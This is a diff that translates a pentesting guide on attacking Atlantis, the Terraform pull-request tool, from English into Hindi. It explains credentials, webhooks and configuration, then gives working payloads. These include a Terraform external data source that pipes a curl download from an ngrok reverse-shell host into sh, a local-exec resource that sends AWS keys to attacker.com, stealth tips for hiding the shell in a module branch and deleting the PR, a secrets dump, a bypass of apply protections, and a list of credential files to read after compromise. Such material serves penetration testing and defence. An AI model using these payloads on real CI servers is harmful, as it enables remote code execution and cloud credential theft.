+3. `./atlantis testdrive` चलाएं और यह एक **डेमो repo** बनाएगा जिसका आप **atlantis से बात करने के लिए उपयोग कर सकते हैं**।
+1. आप 127.0.0.1:4141 में वेब पृष्ठ तक पहुँच सकते हैं।
### Atlantis Access
#### Git Server Credentials
-**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
-However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
-[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
+**Atlantis** कई git होस्ट जैसे **Github**, **Gitlab**, **Bitbucket** और **Azure DevOps** का समर्थन करता है।\
+हालांकि, इन प्लेटफार्मों में repos तक पहुँचने और क्रियाएँ करने के लिए, इसे कुछ **विशेषाधिकार प्राप्त एक्सेस की आवश्यकता होती है** (कम से कम लिखने की अनुमति)।\
+[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) इन प्लेटफार्मों में Atlantis के लिए विशेष रूप से एक उपयोगकर्ता बनाने की सिफारिश करते हैं, लेकिन कुछ लोग व्यक्तिगत खातों का उपयोग कर सकते हैं।
> [!WARNING]
-> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
+> किसी भी मामले में, एक हमलावर के दृष्टिकोण से, **Atlantis खाता** एक बहुत ही **दिलचस्प** **समझौता करने के लिए** होगा।
#### Webhooks
-Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
+Atlantis वैकल्पिक रूप से [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) का उपयोग करता है ताकि यह सत्यापित किया जा सके कि आपके Git होस्ट से प्राप्त **webhooks** **वैध** हैं।
-One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
+इसकी पुष्टि करने का एक तरीका यह होगा कि **केवल आपके Git होस्ट के IPs से आने के लिए अनुरोधों को अनुमति दें**, लेकिन एक आसान तरीका Webhook Secret का उपयोग करना है।
-Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
+ध्यान दें कि जब तक आप एक निजी github या bitbucket सर्वर का उपयोग नहीं करते, आपको वेबहुक एंडपॉइंट्स को इंटरनेट पर उजागर करने की आवश्यकता होगी।
> [!WARNING]
-> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
+> Atlantis **webhooks** को **exposing** करने जा रहा है ताकि git सर्वर इसे जानकारी भेज सके। एक हमलावर के दृष्टिकोण से यह जानना दिलचस्प होगा कि **क्या आप इसे संदेश भेज सकते हैं**।
#### Provider Credentials
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
-Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
+Atlantis Terraform को बस **`terraform plan` और `apply`** कमांड्स को सर्वर पर **चलाकर** चलाता है जिस पर **Atlantis होस्ट किया गया है**। जैसे ही आप स्थानीय रूप से Terraform चलाते हैं, Atlantis को आपके विशेष प्रदाता के लिए क्रेडेंशियल्स की आवश्यकता होती है।
-It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
+यह आपके ऊपर है कि आप Atlantis के लिए अपने विशेष प्रदाता के लिए [क्रेडेंशियल्स कैसे प्रदान करते हैं](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info):
-- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
-- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
- - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
-- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
-- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
+- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) और [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) के पास प्रदाता क्रेडेंशियल्स के लिए अपने स्वयं के तंत्र हैं। उनके दस्तावेज़ पढ़ें।
+- यदि आप Atlantis को एक क्लाउड में चला रहे हैं तो कई क्लाउड में उन पर चलने वाले अनुप्रयोगों को क्लाउड API एक्सेस देने के तरीके हैं, जैसे:
+- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) ( "EC2 Role" के लिए खोजें)
+- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
+- कई उपयोगकर्ता पर्यावरण चर सेट करते हैं, जैसे। `AWS_ACCESS_KEY`, जहां Atlantis चल रहा है।
+- अन्य आवश्यक कॉन्फ़िग फ़ाइलें बनाते हैं, जैसे। `~/.aws/credentials`, जहां Atlantis चल रहा है।
+- प्रदाता क्रेडेंशियल्स प्राप्त करने के लिए [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) का उपयोग करें।
> [!WARNING]
-> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
+> **Container** जहां **Atlantis** **चल रहा है** उसमें उच्च संभावना है कि **विशेषाधिकार प्राप्त क्रेडेंशियल्स** हों प्रदाताओं (AWS, GCP, Github...) के लिए जिन्हें Atlantis Terraform के माध्यम से प्रबंधित कर रहा है।
#### Web Page
-By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
+डिफ़ॉल्ट रूप से Atlantis एक **वेब पृष्ठ को localhost में पोर्ट 4141 पर चलाएगा**। यह पृष्ठ आपको atlantis apply को सक्षम/अक्षम करने और repos की योजना की स्थिति की जांच करने और उन्हें अनलॉक करने की अनुमति देता है (यह चीजों को संशोधित करने की अनुमति नहीं देता, इसलिए यह इतना उपयोगी नहीं है)।
-You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
+आप शायद इसे इंटरनेट पर उजागर नहीं पाएंगे, लेकिन ऐसा लगता है कि डिफ़ॉल्ट रूप से **इस तक पहुँचने के लिए कोई क्रेडेंशियल्स की आवश्यकता नहीं है** (और यदि हैं तो `atlantis`:`atlantis` **डिफ़ॉल्ट** हैं)।
### Server Configuration
-Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
+`atlantis server` के लिए कॉन्फ़िगरेशन को कमांड लाइन फ्लैग, पर्यावरण चर, एक कॉन्फ़िग फ़ाइल या तीनों के मिश्रण के माध्यम से निर्दिष्ट किया जा सकता है।
-- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
-- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
+- आप [**यहाँ फ्लैग की सूची**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) पा सकते हैं जो Atlantis सर्वर द्वारा समर्थित हैं।
+- आप [**यहाँ जान सकते हैं कि एक कॉन्फ़िग विकल्प को env var में कैसे परिवर्तित करें**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
-Values are **chosen in this order**:
+मान मानने का **यह क्रम** है:
-1. Flags
-2. Environment Variables
-3. Config File
+1. फ्लैग
+2. पर्यावरण चर
+3. कॉन्फ़िग फ़ाइल
> [!WARNING]
-> Note that in the configuration you might find interesting values such as **tokens and passwords**.
+> ध्यान दें कि कॉन्फ़िगरेशन में आप **tokens और passwords** जैसे दिलचस्प मान पा सकते हैं।
#### Repos Configuration
-Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
+कुछ कॉन्फ़िगरेशन **कैसे repos का प्रबंधन किया जाता है** को प्रभावित करते हैं। हालाँकि, यह संभव है कि **प्रत्येक repo को विभिन्न सेटिंग्स की आवश्यकता हो**, इसलिए प्रत्येक repo को निर्दिष्ट करने के तरीके हैं। यह प्राथमिकता क्रम है:
-1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
- 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
-2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
-3. **Default** values
+1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) फ़ाइल। इस फ़ाइल का उपयोग यह निर्दिष्ट करने के लिए किया जा सकता है कि atlantis को repo के साथ कैसे व्यवहार करना चाहिए। हालाँकि, डिफ़ॉल्ट रूप से कुछ कुंजियाँ यहाँ निर्दिष्ट नहीं की जा सकती हैं बिना कुछ फ्लैग्स की अनुमति के।
+1. शायद `allowed_overrides` या `allow_custom_workflows` जैसे फ्लैग्स द्वारा अनुमति दी जानी चाहिए।
+2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): आप इसे फ्लैग `--repo-config` के साथ पास कर सकते हैं और यह प्रत्येक repo के लिए नई सेटिंग्स को कॉन्फ़िगर करने वाला एक yaml है (regexes समर्थित)।
+3. **डिफ़ॉल्ट** मान
**PR Protections**
-Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
+Atlantis यह संकेत करने की अनुमति देता है कि क्या आप चाहते हैं कि **PR** को किसी और द्वारा **`approved`** किया जाए (यहां तक कि यदि वह शाखा सुरक्षा में सेट नहीं है) और/या **`mergeable`** (शाखा सुरक्षा पास की गई) **apply चलाने से पहले**। सुरक्षा के दृष्टिकोण से, दोनों विकल्प सेट करना अनुशंसित है।
-In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
+यदि `allowed_overrides` सत्य है, तो ये सेटिंग्स **प्रत्येक प्रोजेक्ट पर `/atlantis.yml` फ़ाइल द्वारा ओवरराइट की जा सकती हैं**।
**Scripts**
-The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
+Repo कॉन्फ़िगरेशन **स्क्रिप्ट्स** को चलाने के लिए [**पहले**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) और [**बाद में**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) निर्दिष्ट कर सकता है जब एक **workflow निष्पादित होता है।**
-There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file.
+इन स्क्रिप्ट्स को **repo `/atlantis.yml`** फ़ाइल में **निर्दिष्ट** करने की कोई विकल्प नहीं है।
**Workflow**
-In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
-Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
+Repo कॉन्फ़िगरेशन (सर्वर साइड कॉन्फ़िगरेशन) में आप [**एक नया डिफ़ॉल्ट workflow निर्दिष्ट कर सकते हैं**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), या [**नए कस्टम workflows बनाएं**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**।** आप यह भी **निर्दिष्ट** कर सकते हैं कि कौन से **repos** **नए** उत्पन्न किए गए ones तक **पहुँच सकते हैं**।\
+फिर, आप प्रत्येक repo के **atlantis.yaml** फ़ाइल को **उपयोग करने के लिए workflow निर्दिष्ट करने की अनुमति दे सकते हैं।**
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) फ्लैग `allow_custom_workflows` को **True** पर सेट किया गया है, तो workflows को प्रत्येक repo की **`atlantis.yaml`** फ़ाइल में **निर्दिष्ट** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **override करने के लिए निर्दिष्ट करे कि किस workflow का उपयोग किया जाने वाला है।\
+> यह मूल रूप से **Atlantis सर्वर में RCE किसी भी उपयोगकर्ता को देगा जो उस repo तक पहुँच सकता है**।
>
> ```yaml
> # atlantis.yaml
@@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
**Conftest Policy Checking**
-Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
+Atlantis **server-side** [**conftest**](https://www.conftest.dev/) **नीतियों** को योजना आउटपुट के खिलाफ चलाने का समर्थन करता है। इस चरण का सामान्य उपयोग मामलों में शामिल हैं:
-- Denying usage of a list of modules
-- Asserting attributes of a resource at creation time
-- Catching unintentional resource deletions
-- Preventing security risks (ie. exposing secure ports to the public)
+- मॉड्यूल की एक सूची के उपयोग को अस्वीकार करना
+- निर्माण के समय एक संसाधन के गुणों का दावा करना
+- अनजाने में संसाधन हटाने को पकड़ना
+- सुरक्षा जोखिमों को रोकना (जैसे। सार्वजनिक रूप से सुरक्षित पोर्ट को उजागर करना)
-You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
+आप इसे कॉन्फ़िगर करने के तरीके की जांच कर सकते हैं [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) में।
### Atlantis Commands
-[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
-
+[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) आप Atlantis चलाने के लिए उपयोग कर सकने वाले विकल्प पा सकते हैं:
```bash
# Get help
atlantis help
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
-
-### Attacks
+### हमले
> [!WARNING]
-> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
-
-You can fix it by running:
+> यदि शोषण के दौरान आपको यह **त्रुटि** मिलती है: `Error: Error acquiring the state lock`
+आप इसे चलाकर ठीक कर सकते हैं:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
+#### Atlantis योजना RCE - नए PR में कॉन्फ़िगरेशन संशोधन
-#### Atlantis plan RCE - Config modification in new PR
-
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
-
-You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
+यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकेंगे और एक PR उत्पन्न कर सकेंगे। यदि आप **`atlantis plan`** **को निष्पादित कर सकते हैं (या शायद यह स्वचालित रूप से निष्पादित होता है)**, **तो आप Atlantis सर्वर के अंदर RCE कर सकेंगे**।
+आप ऐसा [**Atlantis को एक बाहरी डेटा स्रोत लोड करने**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) के द्वारा कर सकते हैं। बस `main.tf` फ़ाइल में निम्नलिखित की तरह एक पेलोड डालें:
```json
data "external" "example" {
- program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
+**स्टेल्थियर अटैक**
-**Stealthier Attack**
-
-You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+आप इस अटैक को एक **स्टेल्थियर तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके:
+- टेराफॉर्म फ़ाइल में सीधे रेव शेल जोड़ने के बजाय, आप **एक बाहरी संसाधन लोड** कर सकते हैं जिसमें रेव शेल हो:
```javascript
module "not_rev_shell" {
- source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
+आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) पर पा सकते हैं।
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+- बाहरी संसाधन में, **ref** फ़ीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड को छिपा सकें**, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- **PR को मास्टर** में बनाने के बजाय Atlantis को ट्रिगर करने के लिए, **2 शाखाएँ** (test1 और test2) बनाएं और एक से दूसरी के लिए **PR बनाएं**। जब आप हमले को पूरा कर लें, तो बस **PR और शाखाओं को हटा दें**।
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
-
-#### Atlantis plan Secrets Dump
-
-You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
+#### Atlantis योजना रहस्यों का डंप
+आप **atlantis plan** (`terraform plan`) चलाकर उपयोग किए गए रहस्यों को डंप कर सकते हैं, जैसे कि terraform फ़ाइल में कुछ इस तरह डालकर:
```json
output "dotoken" {
- value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
}
```
-
#### Atlantis apply RCE - Config modification in new PR
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
+यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकते हैं और एक PR उत्पन्न कर सकते हैं। यदि आप **`atlantis apply` निष्पादित कर सकते हैं, तो आप Atlantis सर्वर के अंदर RCE प्राप्त कर सकते हैं**।
-However, you will usually need to bypass some protections:
+हालांकि, आपको आमतौर पर कुछ सुरक्षा उपायों को बायपास करने की आवश्यकता होगी:
-- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
- - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
- - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-
-Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
+- **Mergeable**: यदि यह सुरक्षा Atlantis में सेट है, तो आप केवल **`atlantis apply` चला सकते हैं यदि PR मर्ज करने योग्य है** (जिसका मतलब है कि शाखा सुरक्षा को बायपास करना होगा)।
+- संभावित [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) की जांच करें
+- **Approved**: यदि यह सुरक्षा Atlantis में सेट है, तो कुछ **अन्य उपयोगकर्ता को PR को स्वीकृत करना होगा** इससे पहले कि आप `atlantis apply` चला सकें
+- डिफ़ॉल्ट रूप से, आप [**Gitbot टोकन का दुरुपयोग करके इस सुरक्षा को बायपास कर सकते हैं**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+एक दुर्भावनापूर्ण Terraform फ़ाइल पर **`terraform apply` चलाना** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**।**\
+आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड `main.tf` फ़ाइल में समाप्त हो जाएं:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
- provisioner "local-exec" {
- command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
- }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
- provisioner "local-exec" {
- command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
- }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
}
```
+**पिछली तकनीक से सुझावों का पालन करें** ताकि इस हमले को **छिपे हुए तरीके** से किया जा सके।
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
-
-#### Terraform Param Injection
-
-When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
+#### Terraform पैरामीटर इंजेक्शन
+जब `atlantis plan` या `atlantis apply` चलाया जाता है, तो terraform नीचे चल रहा होता है, आप atlantis से terraform को कुछ इस तरह से कमांड पास कर सकते हैं:
```bash
atlantis plan --
atlantis plan -- -h #Get terraform plan help
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
+कुछ चीजें जो आप पास कर सकते हैं वे env वेरिएबल्स हैं जो कुछ सुरक्षा उपायों को बायपास करने में सहायक हो सकते हैं। [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) में terraform env vars की जांच करें।
-Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+#### कस्टम वर्कफ़्लो
-#### Custom Workflow
-
-Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
-This possibility was mentioned in a previous section:
+`atlantis.yaml` फ़ाइल में निर्दिष्ट **दुष्ट कस्टम बिल्ड कमांड** चलाना। Atlantis पुल अनुरोध शाखा से `atlantis.yaml` फ़ाइल का उपयोग करता है, **नहीं** `master` की।\
+इस संभावना का उल्लेख पिछले अनुभाग में किया गया था:
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
+> यदि [**सर्वर साइड कॉन्फ़िग**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allow_custom_workflows` **True** पर सेट है, तो वर्कफ़्लो को प्रत्येक रेपो की **`atlantis.yaml`** फ़ाइल में **निर्दिष्ट** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **ओवरराइड करने** के लिए भी निर्दिष्ट करता है जो उपयोग किया जाने वाला है।
>
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> यह मूल रूप से **Atlantis सर्वर में किसी भी उपयोगकर्ता को RCE देगा जो उस रेपो तक पहुँच सकता है**।
>
> ```yaml
> # atlantis.yaml
@@ -286,99 +272,97 @@ This possibility was mentioned in a previous section:
> - run: my custom apply command
> ```
-#### Bypass plan/apply protections
-
-If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
+#### योजना/लागू सुरक्षा उपायों को बायपास करना
+यदि [**सर्वर साइड कॉन्फ़िग**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allowed_overrides` _has_ `apply_requirements` कॉन्फ़िगर किया गया है, तो एक रेपो के लिए **योजना/लागू सुरक्षा उपायों को बायपास करने के लिए संशोधित करना** संभव है।
```yaml
repos:
- - id: /.*/
- apply_requirements: []
+- id: /.*/
+apply_requirements: []
```
-
#### PR Hijacking
-If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
+यदि कोई आपके मान्य पुल अनुरोधों पर **`atlantis plan/apply` टिप्पणियाँ भेजता है,** तो यह terraform को चलाने का कारण बनेगा जब आप नहीं चाहते।
-Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
+इसके अलावा, यदि आपने **branch protection** में यह कॉन्फ़िगर नहीं किया है कि जब एक **नया कमिट इसे धकेला जाता है** तो हर PR को **फिर से मूल्यांकन** करने के लिए कहा जाए, तो कोई **दुष्ट कॉन्फ़िग्स** (पिछले परिदृश्यों की जांच करें) terraform कॉन्फ़िग में लिख सकता है, `atlantis plan/apply` चला सकता है और RCE प्राप्त कर सकता है।
-This is the **setting** in Github branch protections:
+यह Github branch protections में **सेटिंग** है:
.png>)
#### Webhook Secret
-If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
+यदि आप **webhook secret** चुराने में सफल होते हैं या यदि कोई **webhook secret** उपयोग नहीं हो रहा है, तो आप **Atlantis webhook** को **call** कर सकते हैं और **atlatis commands** सीधे **invoke** कर सकते हैं।
#### Bitbucket
-Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
+Bitbucket Cloud **webhook secrets** का समर्थन नहीं करता है। यह हमलावरों को **Bitbucket से अनुरोधों की नकल** करने की अनुमति दे सकता है। सुनिश्चित करें कि आप केवल Bitbucket IPs की अनुमति दे रहे हैं।
-- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
-- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
-- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
+- इसका मतलब है कि एक **हमलावर** **Atlantis** के लिए **फर्जी अनुरोध** कर सकता है जो ऐसा दिखता है जैसे वे Bitbucket से आ रहे हैं।
+- यदि आप `--repo-allowlist` निर्दिष्ट कर रहे हैं तो वे केवल उन रिपोजिटरी से संबंधित फर्जी अनुरोध कर सकते हैं, इसलिए वे जो सबसे अधिक नुकसान कर सकते हैं वह आपके अपने रिपोजिटरी पर plan/apply करना होगा।
+- इससे बचने के लिए [Bitbucket के IP पते](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) को allowlist करें (Outbound IPv4 addresses देखें)।
### Post-Exploitation
-If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
+यदि आप सर्वर तक पहुँचने में सफल हो गए हैं या कम से कम आपके पास LFI है, तो कुछ दिलचस्प चीजें हैं जिन्हें आपको पढ़ने का प्रयास करना चाहिए:
-- `/home/atlantis/.git-credentials` Contains vcs access credentials
-- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
+- `/home/atlantis/.git-credentials` VCS एक्सेस क्रेडेंशियल्स शामिल हैं
+- `/atlantis-data/atlantis.db` अधिक जानकारी के साथ VCS एक्सेस क्रेडेंशियल्स शामिल हैं
- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file
- - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
-- `/proc/1/environ` Env variables
-- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
+- उदाहरण: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
+- `/proc/1/environ` Env वेरिएबल्स
+- `/proc/[2-20]/cmdline` `atlantis server` की Cmd line (संवेदनशील डेटा हो सकता है)
### Mitigations
#### Don't Use On Public Repos
